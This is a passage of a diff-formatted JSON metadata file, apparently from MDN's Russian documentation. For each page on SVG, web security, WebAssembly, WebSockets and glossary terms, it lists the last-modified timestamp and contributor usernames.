"Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/viewBox": { - "modified": "2020-07-17T23:39:00.663Z", - "contributors": [ - "ialexi-bl", - "dimitrius-brest", - "annekorti", - "pepsikat" - ] - }, - "Web/SVG/Attribute/width": { - "modified": "2019-05-12T12:39:52.350Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/SVG/Attribute/x": { - "modified": "2019-03-23T22:05:16.429Z", - "contributors": [ - "Solj" - ] - }, - "Web/SVG/Attribute/xml:space": { - "modified": "2019-03-23T22:23:51.290Z", - "contributors": [ - "lautsevich" - ] - }, - "Web/SVG/Attribute/y": { - "modified": "2019-03-23T22:05:20.840Z", - "contributors": [ - "Solj" - ] - }, - "Web/SVG/SVG_1.1_Support_in_Firefox": { - "modified": "2019-03-18T21:33:59.744Z", - "contributors": [ - "warsan" - ] - }, - "Web/SVG/SVG_as_an_Image": { - "modified": "2019-04-24T01:52:04.782Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/SVG/Tutorial": { - "modified": "2020-08-16T23:33:41.513Z", - "contributors": [ - "fqf", - "Ivan961", - "hisbvdis", - "theykillimmortal", - "dima74", - "mboris1", - "MaxManchak", - "Eugene_Ishchenko" - ] - }, - "Web/SVG/Tutorial/Clipping_and_masking": { - "modified": "2019-03-18T21:33:27.085Z", - "contributors": [ - "theykillimmortal" - ] - }, - "Web/SVG/Tutorial/Fills_and_Strokes": { - "modified": "2019-11-05T15:39:42.604Z", - "contributors": [ - "hisbvdis", - "valery-paschenkov", - "tavira" - ] - }, - "Web/SVG/Tutorial/Filter_effects": { - "modified": "2019-03-18T21:33:29.713Z", - "contributors": [ - "theykillimmortal" - ] - }, - "Web/SVG/Tutorial/Getting_Started": { - "modified": "2019-11-04T17:28:30.391Z", - "contributors": [ - "hisbvdis", - "alexbs", - "warsan", - "komuroe", - "valery-paschenkov", - "tavira", - "mboris1", - "Eugene_Ishchenko" - ] - }, - "Web/SVG/Tutorial/Gradients": { - "modified": "2020-08-11T09:48:48.660Z", - "contributors": [ - "wBureshGitHub", - "u.gantimurov", - "warsan", - "valery-paschenkov", - "tavira" - ] - }, - "Web/SVG/Tutorial/Other_content_in_SVG": { - "modified": "2019-12-31T04:23:04.282Z", - "contributors": [ - "ekirpichyov", - "warsan" - ] - }, - "Web/SVG/Tutorial/Paths": { - "modified": "2019-10-08T05:57:38.968Z", - "contributors": [ - "hellvesper", - "red5tart", - "devfedorenko", - "komuroe", - "tavira", - "sonnenhaft", - "reflash", - "riseremi", - "mboris1", - "scaint" - ] - }, - "Web/SVG/Tutorial/Patterns": { - "modified": "2019-11-06T13:03:01.053Z", - "contributors": [ - "hisbvdis", - "warsan", - "valery-paschenkov" - ] - }, - "Web/SVG/Tutorial/SVG_Image_Tag": { - "modified": "2019-03-23T22:09:37.959Z", - "contributors": [ - "x-in" - ] - }, - "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { - "modified": "2019-03-23T22:42:40.887Z", - "contributors": [ - "chrisdavidmills", - "warsan", - "karpulix" - ] - }, - "Web/SVG/Tutorial/SVG_fonts": { - "modified": "2019-03-18T21:33:26.235Z", - "contributors": [ - "theykillimmortal" - ] - }, - "Web/SVG/Tutorial/Texts": { - "modified": "2019-03-18T21:43:56.017Z", - "contributors": [ - "theykillimmortal" - ] - }, - "Web/SVG/Tutorial/Tools_for_SVG": { - "modified": "2019-06-06T06:15:16.270Z", - "contributors": [ - "Evaphobia", - "Roman-Kosov" - ] - }, - "Web/SVG/Tutorial/Базовые_Преобразования": { - "modified": "2020-08-16T23:38:02.015Z", - "contributors": [ - "fqf", - "hisbvdis", - "theykillimmortal", - "andrewtk" - ] - }, - "Web/SVG/Tutorial/Введение": { - "modified": "2020-08-11T13:52:37.344Z", - "contributors": [ - "wBureshGitHub", - "hisbvdis", - "tcheburator", - "alexbs", - "Alianta", - "Dizzy", - "tavira", - "mboris1", - "nakhodkiin", - "MaxManchak" - ] - }, - "Web/SVG/Tutorial/Основные_Фигуры": { - "modified": "2019-03-23T22:33:02.983Z", - "contributors": [ - "devfedorenko", - "komuroe", - "Dizzy", - "AlexanderLevenskikh", - "mboris1" - ] - }, - "Web/SVG/Tutorial/Позиции": { - "modified": "2019-03-23T22:33:09.544Z", - "contributors": [ - "Dizzy", - "valery-paschenkov", - "AlexanderLevenskikh", - "mboris1" - ] - }, - "Web/SVG/Элемент": { - "modified": "2019-03-23T23:05:44.353Z", - "contributors": [ - "warsan", - "BychekRU", - "littleleshy", - "Eugene_Ishchenko" - ] - }, - "Web/SVG/Элемент/": { - "modified": "2020-10-15T21:57:25.159Z", - "contributors": [ - "boxa6", - "warsan", - "arturparkhisenko", - "Evgenjnr" - ] - }, - "Web/SVG/Элемент/a": { - "modified": "2020-10-15T21:31:40.250Z", - "contributors": [ - "ekirpichyov", - "boxa6", - "bogdancdc", - "Sebastianz", - "AlexeyFedotof", - "Eugene_Ishchenko" - ] - }, - "Web/SVG/Элемент/animate": { - "modified": "2020-10-15T21:40:35.396Z", - "contributors": [ - "boxa6", - "wbamberg", - "Sebastianz", - "Eugene_Ishchenko" - ] - }, - "Web/SVG/Элемент/animateMotion": { - "modified": "2020-10-15T22:06:06.145Z", - "contributors": [ - "ekirpichyov", - "warsan" - ] - }, - "Web/SVG/Элемент/circle": { - "modified": "2020-10-15T21:41:44.986Z", - "contributors": [ - "LonelyDutchhound", - "boxa6", - "wbamberg", - "Sebastianz", - "AlexeyFedotof", - "littleleshy" - ] - }, - "Web/SVG/Элемент/defs": { - "modified": "2020-10-15T22:02:01.863Z", - "contributors": [ - "boxa6", - "coshturnina" - ] - }, - "Web/SVG/Элемент/ellipse": { - "modified": "2020-10-15T21:41:43.342Z", - "contributors": [ - "ialexi-bl", - "boxa6", - "wbamberg", - "Sebastianz", - "littleleshy" - ] - }, - "Web/SVG/Элемент/feBlend": { - "modified": "2020-10-15T22:27:27.749Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/SVG/Элемент/foreignObject": { - "modified": "2020-10-15T22:16:25.096Z", - "contributors": [ - "warsan" - ] - }, - "Web/SVG/Элемент/g": { - "modified": "2020-10-15T21:43:10.879Z", - "contributors": [ - "Anonymous", - "boxa6", - "dek4nice", - "Sebastianz", - "vaut", - "littleguga", - "AlexeyFedotof" - ] - }, - "Web/SVG/Элемент/image": { - "modified": "2020-11-27T18:39:02.137Z", - "contributors": [ - "robert491", - "boxa6", - "Sebastianz", - "AlexeyFedotof" - ] - }, - "Web/SVG/Элемент/line": { - "modified": "2020-10-15T21:43:08.477Z", - "contributors": [ - "boxa6", - "konstcos", - "Sebastianz", - "AlexeyFedotof" - ] - }, - "Web/SVG/Элемент/linearGradient": { - "modified": "2020-10-15T22:03:43.312Z", - "contributors": [ - "boxa6", - "warsan" - ] - }, - "Web/SVG/Элемент/path": { - "modified": "2020-10-15T21:43:09.343Z", - "contributors": [ - "Solj", - "warsan", - "Sebastianz", - "samufa" - ] - }, - "Web/SVG/Элемент/pattern": { - "modified": "2020-10-15T22:14:34.421Z", - "contributors": [ - "boxa6", - "warsan" - ] - }, - "Web/SVG/Элемент/polygon": { - "modified": "2020-10-15T22:06:44.273Z", - "contributors": [ - "aak74", - "boxa6", - "bogdancdc" - ] - }, - "Web/SVG/Элемент/radialGradient": { - "modified": "2020-10-15T22:03:44.433Z", - "contributors": [ - "boxa6", - "warsan" - ] - }, - "Web/SVG/Элемент/rect": { - "modified": "2020-10-15T21:32:22.045Z", - "contributors": [ - "boxa6", - "wbamberg", - "warsan", - "VitaliiKotliar", - "Sebastianz", - "xalz" - ] - }, - "Web/SVG/Элемент/svg": { - "modified": "2020-10-15T22:31:04.274Z", - "contributors": [ - "kve1989" - ] - }, - "Web/SVG/Элемент/use": { - "modified": "2020-10-15T22:24:14.813Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/Security": { - "modified": "2019-11-20T21:39:44.381Z", - "contributors": [ - "wbamberg", - "SphinxKnight", - "pepelsbey", - "Tihoem", - "Sheppy" - ] - }, - "Web/Security/CSP": { - "modified": "2019-03-23T23:04:20.797Z", - "contributors": [ - "sivashev", - "Aleksej", - "Tihoem" - ] - }, - "Web/Security/Information_Security_Basics": { - "modified": "2019-03-18T20:42:08.077Z", - "contributors": [ - "Frisle" - ] - }, - "Web/Security/Same-origin_policy": { - "modified": "2020-10-20T11:28:42.439Z", - "contributors": [ - "niklimoff01", - "hisbvdis", - "WhiteApfel", - "iamvector", - "vladlipski", - "ZVanoZ" - ] - }, - "Web/Security/Securing_your_site": { - "modified": "2019-12-18T06:44:18.277Z", - "contributors": [ - "mfuji09" - ] - }, - "Web/Security/Securing_your_site/Turning_off_form_autocompletion": { - "modified": "2019-12-18T06:44:21.121Z", - "contributors": [ - "KolesnikovR" - ] - }, - "Web/Tutorials": { - "modified": "2019-10-02T16:11:49.043Z", - "contributors": [ - "Termaro", - "mmbl", - "ukrlex01", - "rhiter", - "anastasiya-solodkaya", - "GraceAredel", - "Tihoem", - "uleming", - "Steln", - "aleks_root" - ] - }, - "Web/WebAPI": { - "modified": "2019-03-25T10:51:55.253Z", - "contributors": [ - "boxa6", - "andreybakhishev", - "wbamberg", - "fscholz", - "Cyemka" - ] - }, - "Web/Web_Components": { - "modified": "2020-09-03T10:16:00.956Z", - "contributors": [ - "m.tven18", - "Loosefer", - "Akh-rman", - "shmel115", - "newbornfrontender", - "Peccansy", - "alinofka", - "curdwithraisins", - "dmitrykurmanov", - "Kalita-Roman" - ] - }, - "Web/Web_Components/HTML_Imports": { - "modified": "2019-03-18T21:40:10.986Z", - "contributors": [ - "PaulineNemchak" - ] - }, - "Web/Web_Components/Использование_пользовательских_элементов": { - "modified": "2020-01-05T09:04:07.966Z", - "contributors": [ - "Anonymous", - "BurkovBA", - "curtdp", - "curdwithraisins" - ] - }, - "Web/XML": { - "modified": "2019-03-24T13:24:33.354Z" - }, - "Web/XML/XML_introduction": { - "modified": "2019-03-25T08:08:08.506Z", - "contributors": [ - "boxa6" - ] - }, - "Web/XPath": { - "modified": "2019-01-16T14:55:34.456Z", - "contributors": [ - "ExE-Boss", - "wbamberg", - "teoli", - "Android" - ] - }, - "Web/XPath/Funkcje": { - "modified": "2019-01-16T14:55:44.176Z", - "contributors": [ - "ExE-Boss", - "wbamberg", - "teoli", - "Android" - ] - }, - "Web/XPath/Funkcje/floor": { - "modified": "2019-01-16T14:55:28.337Z", - "contributors": [ - "ExE-Boss", - "Android" - ] - }, - "Web/XSLT": { - "modified": "2019-03-23T23:58:47.674Z", - "contributors": [ - "niktariy", - "ExE-Boss", - "teoli", - "iliacmd" - ] - }, - "WebAssembly": { - "modified": "2020-10-15T22:05:07.172Z", - "contributors": [ - "sharpist", - "deadblackclover", - "vkorniiko", - "warsan", - "thatlldo" - ] - }, - "WebAssembly/C_to_wasm": { - "modified": "2019-03-18T21:33:56.809Z", - "contributors": [ - "thatlldo" - ] - }, - "WebAssembly/Concepts": { - "modified": "2019-03-18T21:10:19.900Z", - "contributors": [ - "vkorniiko" - ] - }, - "WebAssembly/Exported_functions": { - "modified": "2020-03-04T19:06:28.386Z", - "contributors": [ - "amuzalevskiy", - "thatlldo" - ] - }, - "WebAssembly/Loading_and_running": { - "modified": "2019-06-12T11:14:54.085Z", - "contributors": [ - "deadblackclover" - ] - }, - "WebAssembly/Rust_to_wasm": { - "modified": "2020-06-11T14:27:31.970Z", - "contributors": [ - "DuckerMan", - "idkravitz", - "dlukanin", - "curdwithraisins", - "VLDSLW" - ] - }, - "WebAssembly/Understanding_the_text_format": { - "modified": "2019-03-18T21:09:18.859Z", - "contributors": [ - "vkorniiko" - ] - }, - "WebAssembly/Using_the_JavaScript_API": { - "modified": "2019-06-12T07:08:20.267Z", - "contributors": [ - "deadblackclover", - "vkorniiko" - ] - }, - "WebSockets": { - "modified": "2020-10-15T21:24:23.136Z", - "contributors": [ - "YozhEzhi", - "Sajag", - "RusinovAnton", - "zarkone", - "uleming", - "LOVEBOYS" - ] - }, - "WebSockets/Writing_WebSocket_client_applications": { - "modified": "2019-03-23T23:26:56.301Z", - "contributors": [ - "Anaind", - "DirectX", - "ilya_khaustov" - ] - }, - "Web_Development/Mobile": { - "modified": "2019-03-23T23:27:06.077Z", - "contributors": [ - "wbamberg" - ] - }, - "Web_Development/Mobile/Responsive_design": { - "modified": "2019-03-23T23:27:07.759Z", - "contributors": [ - "ArsenBespalov" - ] - }, - "XMLHttpRequest": { - "modified": "2019-03-24T00:11:01.706Z", - "contributors": [ - "denpatin", - "dehero", - "teoli", - "torbasow", - "TotalAMD", - "shergin", - "Bzbarsky", - "Atzkey", - "Apparition" - ] - }, - "XML_in_Mozilla": { - "modified": "2019-01-16T14:53:06.925Z", - "contributors": [ - "nsvsergey" - ] - }, - "XPCNativeWrapper": { - "modified": "2019-03-24T00:02:27.014Z", - "contributors": [ - "fscholz", - "Dionys" - ] - }, - "XPCOM": { - "modified": "2019-01-16T14:04:32.944Z", - "contributors": [ - "teoli", - "caiiiycuk", - "bill.gates" - ] - }, - "Веб-разработка": { - "modified": "2019-03-24T00:00:53.915Z", - "contributors": [ - "Dionys" - ] - }, - "Веб-стандарты": { - "modified": "2019-03-24T00:00:23.706Z", - "contributors": [ - "Marat", - "Protopopulus" - ] - }, - "Вопросы_без_ответов": { - "modified": "2019-03-23T23:58:57.825Z", - "contributors": [ - "glukin" - ] - }, - "Динамически_изменяемый_пользовательский_интерфейс_на_XUL": { - "modified": "2019-06-25T10:50:01.432Z", - "contributors": [ - "teoli", - "kup", - "Megapotz" - ] - }, - "Доступность": { - "modified": "2019-01-16T14:51:09.522Z", - "contributors": [ - "Sheppy", - "vilky", - "Cobalt747" - ] - }, - "Заголовок_ссылки": { - "modified": "2019-03-23T23:43:21.855Z", - "contributors": [ - "Sheppy", - "Doctor Baaz" - ] - }, - "Контроль_качества": { - "modified": "2019-01-16T14:03:27.006Z", - "contributors": [ - "Hypante" - ] - }, - "Локализация": { - "modified": "2019-01-16T14:53:07.899Z", - "contributors": [ - "Sheppy", - "sM1Le", - "glukin" - ] - }, - "Настройка_среды_разработки_расширений": { - "modified": "2019-03-24T00:02:36.376Z", - "contributors": [ - "alikkille", - "teoli", - "fscholz", - "Yozh88" - ] - }, - "Об_объектной_модели_документа": { - "modified": "2019-06-25T10:49:44.957Z", - "contributors": [ - "d.zheleznov", - "cognitive-cake", - "runicelf", - "Megapotz" - ] - }, - "Переход_с_Internet_Explorer_на_Mozilla": { - "modified": "2019-01-16T15:00:06.072Z", - "contributors": [ - "karasiov", - "Yura", - "Naterera" - ] - }, - "Сборка_и_установка": { - "modified": "2019-03-24T00:05:30.187Z", - "contributors": [ - "Protopopulus" - ] - }, - "Словарь": { - "modified": "2020-10-07T11:13:45.197Z", - "contributors": [ - "peterbe", - "SphinxKnight", - "wbamberg", - "BychekRU", - "abldi", - "MuradAz", - "Aleksej", - "Sheppy", - "teoli" - ] - }, - "Словарь/404": { - "modified": "2019-03-23T22:13:48.343Z", - "contributors": [ - "cotolany", - "nudaworks" - ] - }, - "Словарь/502": { - "modified": "2019-03-18T21:41:50.347Z", - "contributors": [ - "gadjetron" - ] - }, - "Словарь/AJAX": { - "modified": "2020-10-30T05:21:31.612Z", - "contributors": [ - "ksam", - "duckDominatrix", - "T1mL3arn", - "ifantom", - "mpetrikov", - "gudkovdanila", - "veselik", - "nikokosh" - ] - }, - "Словарь/API": { - "modified": "2020-10-30T06:23:36.856Z", - "contributors": [ - "ksam", - "DashPisareva", - "nikitaermishin", - "Severno" - ] - }, - "Словарь/ARIA": { - "modified": "2019-04-09T10:19:16.954Z", - "contributors": [ - "JCodeg", - "bsergey" - ] - }, - "Словарь/ARPA": { - "modified": "2019-03-18T21:25:48.447Z", - "contributors": [ - "bsergey" - ] - }, - "Словарь/ASCII": { - "modified": "2019-03-18T21:40:49.201Z", - "contributors": [ - "ValeriiBoiko" - ] - }, - "Словарь/ATAG": { - "modified": "2019-03-18T21:25:01.427Z", - "contributors": [ - "bsergey" - ] - }, - "Словарь/Abstraction": { - "modified": "2019-03-23T22:51:57.044Z", - "contributors": [ - "alitskevich", - "davidof" - ] - }, - "Словарь/Adobe-Flash": { - "modified": "2019-03-23T22:16:01.660Z", - "contributors": [ - "ifantom" - ] - }, - "Словарь/Algorithm": { - "modified": "2019-11-23T15:11:34.488Z", - "contributors": [ - "Igor-Sangin", - "boxa6", - "ifantom" - ] - }, - "Словарь/Apple_Safari": { - "modified": "2019-03-23T22:09:03.834Z", - "contributors": [ - "bsergey", - "pgooood" - ] - }, - "Словарь/Arpanet": { - "modified": "2019-03-18T21:25:16.563Z", - "contributors": [ - "bsergey" - ] - }, - "Словарь/Asynchronous": { - "modified": "2019-03-18T21:40:41.315Z", - "contributors": [ - "jeniasaigak", - "ValeriiBoiko" - ] - }, - "Словарь/Bandwidth": { - "modified": "2019-03-23T22:06:46.461Z", - "contributors": [ - "Morjodrom" - ] - }, - "Словарь/BiDi": { - "modified": "2019-03-18T21:25:00.810Z", - "contributors": [ - "bsergey" - ] - }, - "Словарь/BigInt": { - "modified": "2020-08-27T06:12:45.928Z", - "contributors": [ - "DarkExodusXX", - "maksakova" - ] - }, - "Словарь/Blink": { - "modified": "2019-03-18T20:43:00.706Z", - "contributors": [ - "Frisle" - ] - }, - "Словарь/Boolean": { - "modified": "2020-05-05T17:38:43.691Z", - "contributors": [ - "Thr0TT1e", - "ekirpichyov", - "Anna-Myzukina", - "perioad", - "Shankshel", - "boxa6", - "Sheppy", - "jaguardev" - ] - }, - "Словарь/Bootstrap": { - "modified": "2020-10-30T10:23:10.825Z", - "contributors": [ - "ksam" - ] - }, - "Словарь/Browser": { - "modified": "2019-03-23T22:40:32.512Z", - "contributors": [ - "anastasiya-solodkaya", - "AlexandrKalaidzhi", - "tronov", - "MuradAz" - ] - }, - "Словарь/Browsing_context": { - "modified": "2019-03-23T22:17:49.487Z", - "contributors": [ - "anastasiya-solodkaya" - ] - }, - "Словарь/Bézier_curve": { - "modified": "2019-08-19T18:48:29.930Z", - "contributors": [ - "regeneratorl" - ] - }, - "Словарь/CDN": { - "modified": "2019-07-08T10:40:37.612Z", - "contributors": [ - "LesikTheCat" - ] - }, - "Словарь/CMS": { - "modified": "2019-03-23T22:17:50.404Z", - "contributors": [ - "anastasiya-solodkaya" - ] - }, - "Словарь/CORS": { - "modified": "2019-03-18T21:01:16.414Z", - "contributors": [ - "ruslan.khaertdinov", - "anastasiya-solodkaya" - ] - }, - "Словарь/CRLF": { - "modified": "2019-03-18T21:18:06.376Z", - "contributors": [ - "alexbs" - ] - }, - "Словарь/CSP": { - "modified": "2020-03-11T16:49:32.227Z", - "contributors": [ - "almaceleste" - ] - }, - "Словарь/CSRF": { - "modified": "2019-03-23T22:17:52.593Z", - "contributors": [ - "anastasiya-solodkaya" - ] - }, - "Словарь/CSS": { - "modified": "2020-11-27T18:16:28.046Z", - "contributors": [ - "robert491", - "boxa6", - "andreybakhishev", - "oleg3280", - "AlexandrKalaidzhi" - ] - }, - "Словарь/CSS_Selector": { - "modified": "2020-12-07T13:33:11.621Z", - "contributors": [ - "kucherenkoag", - "DashPisareva" - ] - }, - "Словарь/CSS_preprocessor": { - "modified": "2019-03-26T02:52:52.000Z", - "contributors": [ - "boxa6", - "bazoooker" - ] - }, - "Словарь/Call_stack": { - "modified": "2019-03-26T03:35:33.245Z", - "contributors": [ - "boxa6", - "Dimas-X", - "Iroshh" - ] - }, - "Словарь/Canvas": { - "modified": "2019-03-18T21:33:34.116Z", - "contributors": [ - "Lana-Light" - ] - }, - "Словарь/Card_sorting": { - "modified": "2019-09-13T15:24:23.423Z", - "contributors": [ - "maXimusIsMyName", - "nova-k" - ] - }, - "Словарь/Character": { - "modified": "2019-03-26T03:36:39.039Z", - "contributors": [ - "boxa6" - ] - }, - "Словарь/Chrome": { - "modified": "2019-01-16T20:45:50.537Z", - "contributors": [ - "Aleksej" - ] - }, - "Словарь/Class": { - "modified": "2019-03-23T22:50:33.763Z", - "contributors": [ - "ezekeli", - "scanick" - ] - }, - "Словарь/Codec": { - "modified": "2019-06-20T09:27:20.089Z", - "contributors": [ - "CS313" - ] - }, - "Словарь/Compile": { - "modified": "2020-08-27T07:13:45.873Z", - "contributors": [ - "DarkExodusXX" - ] - }, - "Словарь/Computer_Programming": { - "modified": "2020-02-28T20:10:24.813Z", - "contributors": [ - "almaceleste" - ] - }, - "Словарь/Conditional": { - "modified": "2020-02-28T19:51:16.047Z", - "contributors": [ - "almaceleste" - ] - }, - "Словарь/Constructor": { - "modified": "2019-03-18T21:40:38.410Z", - "contributors": [ - "ValeriiBoiko" - ] - }, - "Словарь/Cookie": { - "modified": "2019-03-23T22:19:39.272Z", - "contributors": [ - "anastasiya-solodkaya", - "smkoyan" - ] - }, - "Словарь/Copyleft": { - "modified": "2019-08-22T15:17:45.253Z", - "contributors": [ - "regeneratorl" - ] - }, - "Словарь/Crawler": { - "modified": "2019-10-16T05:50:09.685Z", - "contributors": [ - "e-h-h" - ] - }, - "Словарь/DNS": { - "modified": "2019-07-09T20:05:30.988Z", - "contributors": [ - "fuggy" - ] - }, - "Словарь/DOM": { - "modified": "2019-03-23T22:40:33.690Z", - "contributors": [ - "tronov", - "MuradAz" - ] - }, - "Словарь/DOS_attack": { - "modified": "2019-08-14T18:10:26.015Z", - "contributors": [ - "Newage3018" - ] - }, - "Словарь/Doctype": { - "modified": "2019-10-20T09:56:23.239Z", - "contributors": [ - "alexbs", - "gogumaUno" - ] - }, - "Словарь/Domain_name": { - "modified": "2019-03-18T21:25:39.712Z", - "contributors": [ - "bsergey" - ] - }, - "Словарь/Dynamic_programming_language": { - "modified": "2019-03-23T22:22:41.086Z", - "contributors": [ - "pust0ta", - "thecodecreator" - ] - }, - "Словарь/ECMA": { - "modified": "2019-03-23T22:26:58.025Z", - "contributors": [ - "anastasiya-solodkaya", - "werreour" - ] - }, - "Словарь/ECMAScript": { - "modified": "2019-03-23T22:03:14.516Z", - "contributors": [ - "4erty" - ] - }, - "Словарь/Empty_element": { - "modified": "2020-06-17T07:35:47.736Z", - "contributors": [ - "fuggy", - "Sheppy", - "Aleksej" - ] - }, - "Словарь/Encapsulation": { - "modified": "2019-10-15T17:04:32.904Z", - "contributors": [ - "duckDominatrix" - ] - }, - "Словарь/Entity_header": { - "modified": "2020-03-13T19:29:42.150Z", - "contributors": [ - "fuggy", - "opereverzeva" - ] - }, - "Словарь/Expando": { - "modified": "2019-03-23T22:25:14.834Z", - "contributors": [ - "Chamie", - "Aksana-Tsishchanka" - ] - }, - "Словарь/FPS": { - "modified": "2019-11-19T15:47:44.839Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/FTP": { - "modified": "2019-03-23T22:56:50.644Z", - "contributors": [ - "Aleksej" - ] - }, - "Словарь/Falsy": { - "modified": "2020-02-29T14:01:11.239Z", - "contributors": [ - "almaceleste", - "Anna-Myzukina" - ] - }, - "Словарь/First-class_Function": { - "modified": "2019-03-23T22:26:14.132Z", - "contributors": [ - "s1lver", - "B0dya", - "pk.prog" - ] - }, - "Словарь/First_CPU_idle": { - "modified": "2019-11-20T05:48:47.023Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/First_contentful_paint": { - "modified": "2019-11-20T05:40:40.814Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/First_input_delay": { - "modified": "2020-11-29T12:51:47.015Z", - "contributors": [ - "BehemothOz", - "Antosik" - ] - }, - "Словарь/First_interactive": { - "modified": "2019-11-20T05:51:30.233Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/First_paint": { - "modified": "2019-11-20T05:44:29.012Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/Flex_Item": { - "modified": "2020-03-08T07:29:42.816Z", - "contributors": [ - "Radragon" - ] - }, - "Словарь/Flexbox": { - "modified": "2019-03-18T21:33:55.150Z", - "contributors": [ - "b.zvyagintsev" - ] - }, - "Словарь/Forbidden_header_name": { - "modified": "2020-11-27T14:27:47.971Z", - "contributors": [ - "robert491", - "Alex90", - "crabovwik", - "JeanPaulLucien" - ] - }, - "Словарь/Gecko": { - "modified": "2019-03-23T22:25:29.241Z", - "contributors": [ - "pk.prog" - ] - }, - "Словарь/General_header": { - "modified": "2020-11-27T15:28:54.047Z", - "contributors": [ - "robert491", - "Sergey.Terekhin" - ] - }, - "Словарь/Git": { - "modified": "2019-07-13T19:51:02.847Z", - "contributors": [ - "fuggy", - "4erty" - ] - }, - "Словарь/Global_object": { - "modified": "2020-01-11T18:59:38.482Z", - "contributors": [ - "Kiryhas" - ] - }, - "Словарь/Grid": { - "modified": "2019-09-25T00:37:08.781Z", - "contributors": [ - "Zver64", - "boxa6", - "Paul_Yuhnovich" - ] - }, - "Словарь/Grid_Column": { - "modified": "2019-09-25T10:04:35.112Z", - "contributors": [ - "ekirpichyov", - "albinasakhabutdinova" - ] - }, - "Словарь/HTML": { - "modified": "2020-10-30T06:06:49.972Z", - "contributors": [ - "ksam", - "boxa6", - "oleg3280", - "Ananasovich", - "Rod1on", - "NerRox", - "talgautb" - ] - }, - "Словарь/HTML5": { - "modified": "2019-03-23T11:50:58.551Z", - "contributors": [ - "JCodeg", - "oleg3280", - "VEDigit" - ] - }, - "Словарь/HTTP": { - "modified": "2019-11-07T07:41:21.870Z", - "contributors": [ - "duckDominatrix", - "gadjetron", - "MuradAz" - ] - }, - "Словарь/HTTP_2": { - "modified": "2019-11-06T06:45:14.792Z", - "contributors": [ - "duckDominatrix", - "e-h-h" - ] - }, - "Словарь/Host": { - "modified": "2019-03-18T20:56:13.920Z", - "contributors": [ - "iamvector" - ] - }, - "Словарь/IANA": { - "modified": "2019-03-18T21:36:56.523Z", - "contributors": [ - "pavelkarinin" - ] - }, - "Словарь/ICANN": { - "modified": "2019-03-18T21:36:45.102Z", - "contributors": [ - "pavelkarinin" - ] - }, - "Словарь/IETF": { - "modified": "2020-10-30T04:28:05.922Z", - "contributors": [ - "ksam" - ] - }, - "Словарь/IIFE": { - "modified": "2019-08-02T04:11:30.483Z", - "contributors": [ - "alexbutav", - "zavsievich", - "Hiker-Hope", - "anastasiya-solodkaya", - "TheodoreChe", - "c01nd01r" - ] - }, - "Словарь/IP_Address": { - "modified": "2019-03-18T21:27:42.696Z", - "contributors": [ - "Luboshenko" - ] - }, - "Словарь/ISO": { - "modified": "2020-10-30T04:04:18.482Z", - "contributors": [ - "ksam" - ] - }, - "Словарь/Idempotent": { - "modified": "2020-08-24T16:46:00.432Z", - "contributors": [ - "dev4lex", - "snizh", - "pk.prog" - ] - }, - "Словарь/Identifier": { - "modified": "2019-03-23T22:20:02.500Z", - "contributors": [ - "mlilin", - "Kaliukhovich" - ] - }, - "Словарь/IndexedDB": { - "modified": "2020-09-25T14:17:01.625Z", - "contributors": [ - "swimmwatch" - ] - }, - "Словарь/Information_architecture": { - "modified": "2019-07-02T10:04:49.702Z", - "contributors": [ - "wizardbil" - ] - }, - "Словарь/Internet": { - "modified": "2019-06-17T12:53:37.150Z", - "contributors": [ - "kss555", - "bsergey" - ] - }, - "Словарь/JSON": { - "modified": "2019-01-17T00:40:57.677Z", - "contributors": [ - "ezekeli" - ] - }, - "Словарь/Java": { - "modified": "2019-08-04T18:12:34.992Z", - "contributors": [ - "angelhearted" - ] - }, - "Словарь/JavaScript": { - "modified": "2020-10-30T03:58:08.340Z", - "contributors": [ - "ksam", - "ekirpichyov", - "JCodeg", - "boxa6", - "aleshkanet", - "oleg3280", - "MuradAz", - "silentwasd", - "Sheppy", - "Vovchikb6" - ] - }, - "Словарь/MIME_type": { - "modified": "2020-04-21T12:17:26.839Z", - "contributors": [ - "an5000", - "elvin666666", - "margaritashvetsov", - "ilia-valchenko" - ] - }, - "Словарь/Main_Axis": { - "modified": "2020-05-21T13:03:11.807Z", - "contributors": [ - "HImichun" - ] - }, - "Словарь/MathML": { - "modified": "2019-03-18T21:19:08.526Z", - "contributors": [ - "bsergey" - ] - }, - "Словарь/Method": { - "modified": "2020-10-30T06:40:44.910Z", - "contributors": [ - "ksam" - ] - }, - "Словарь/Microsoft_Internet_Explorer": { - "modified": "2019-03-18T21:41:51.997Z", - "contributors": [ - "djigach" - ] - }, - "Словарь/Mixin": { - "modified": "2020-04-09T10:41:29.634Z", - "contributors": [ - "Drrragonica" - ] - }, - "Словарь/Node.js": { - "modified": "2019-03-23T22:28:12.455Z", - "contributors": [ - "tim-zh", - "nikokosh" - ] - }, - "Словарь/Null": { - "modified": "2020-03-23T08:30:22.000Z", - "contributors": [ - "wentout", - "tim-zh" - ] - }, - "Словарь/Number": { - "modified": "2019-03-23T22:59:57.277Z", - "contributors": [ - "Sheppy", - "jaguardev" - ] - }, - "Словарь/OOP": { - "modified": "2019-03-18T21:40:42.132Z", - "contributors": [ - "ValeriiBoiko" - ] - }, - "Словарь/Object": { - "modified": "2019-03-23T22:22:47.659Z", - "contributors": [ - "bsergey", - "haacki47" - ] - }, - "Словарь/OpenGL": { - "modified": "2019-11-14T05:58:50.039Z", - "contributors": [ - "ClaS1k" - ] - }, - "Словарь/PHP": { - "modified": "2019-04-14T04:44:20.115Z", - "contributors": [ - "MDReal32", - "kirill001" - ] - }, - "Словарь/Pixel": { - "modified": "2019-03-25T09:54:05.591Z", - "contributors": [ - "boxa6" - ] - }, - "Словарь/Polymorphism": { - "modified": "2019-10-14T05:46:10.620Z", - "contributors": [ - "duckDominatrix" - ] - }, - "Словарь/Primitive": { - "modified": "2020-02-16T08:27:27.366Z", - "contributors": [ - "vitaminX", - "bsergey", - "aleks43" - ] - }, - "Словарь/Progressive_web_apps": { - "modified": "2020-10-23T07:12:55.057Z", - "contributors": [ - "ksam" - ] - }, - "Словарь/Promise": { - "modified": "2019-05-15T10:24:56.596Z", - 